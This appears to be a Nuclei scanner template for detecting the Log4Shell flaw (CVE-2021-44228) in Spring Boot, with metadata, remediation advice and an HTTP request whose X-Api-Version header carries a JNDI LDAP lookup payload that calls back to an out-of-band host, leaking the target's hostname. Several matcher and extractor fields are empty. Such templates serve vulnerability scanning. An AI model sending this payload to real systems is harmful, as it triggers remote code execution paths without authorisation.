59 lines
1.7 KiB
YAML
59 lines
1.7 KiB
YAML
id: springboot-log4j-rce
|
|
|
|
info:
|
|
name: Spring Boot - Remote Code Execution (Apache Log4j)
|
|
author: pdteam
|
|
severity: critical
|
|
description: Spring Boot is susceptible to remote code execution via Apache Log4j.
|
|
remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
|
|
reference:
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://www.lunasec.io/docs/blog/log4j-zero-day/
|
|
- https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-502
|
|
metadata:
|
|
max-request: 1
|
|
tags: cve,cve2021,springboot,rce,oast,log4j,kev
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
|
|
|
|
- type: regex
|
|
group: 2
|
|
regex:
|
|
part: interactsh_request
|
|
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
part: interactsh_request
|
|
# digest: 4b0a00483046022100cf65a3bd6606dbae8acee59a4593ce5d4d2c4a20d9ac599ed08f1e0dc8ac62c7022100f40f0c5a092b3b17a94ce3332b71bcff3ef2a295b965b9178c5d9d734a5647fa:922c64590222798bb761d5b6d8e72950 |